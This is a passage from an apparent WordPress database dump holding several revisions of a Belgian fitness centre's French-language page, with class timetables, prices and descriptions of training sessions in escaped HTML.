rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:18:16', '2013-07-03 17:18:16', '', 11, 'http://www.crosstrainingcenter.be/?p=183', 0, 'revision', '', 0),
(177, 1, '2013-07-03 16:53:51', '2013-07-03 16:53:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:53:51', '2013-07-03 16:53:51', '', 11, 'http://www.crosstrainingcenter.be/?p=177', 0, 'revision', '', 0),
(178, 1, '2013-07-03 17:01:04', '2013-07-03 17:01:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table class=\&quot;tabb\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training 